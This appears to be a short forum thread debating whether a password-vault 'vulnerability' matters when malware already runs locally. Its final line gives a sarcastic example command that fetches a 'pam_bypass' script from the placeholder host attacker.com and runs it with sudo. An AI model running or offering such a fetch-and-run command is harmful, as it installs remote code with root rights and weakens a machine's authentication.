This "vulnerability" is actually just a standard warning to not run untrusted software on your machine. In this case the attacker can leverage a commandline program to read your unlocked password vault, but without that he'd still be able to steal any user owned files on your machine and access your bank through your browser to steal your money.
"It rather involved being on the other side of this airtight hatchway."
I’m pretty sure defending against locally executing malware is something that companies like Apple and Microsoft work on daily. The idea that it’s not “feasible” sounds suspiciously lazy.
but yah, you're right it's a very low-risk attack.
or wget https://attacker.com/install_special_pam_bypass.sh | sudo install_special_pam_bypass.sh